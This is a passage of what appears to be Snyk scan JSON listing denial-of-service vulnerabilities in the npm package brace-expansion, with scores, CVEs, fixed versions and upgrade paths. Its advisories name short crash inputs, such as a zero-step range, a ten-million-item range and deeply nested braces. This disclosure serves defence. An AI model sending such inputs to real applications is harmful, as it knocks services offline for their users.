"https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": 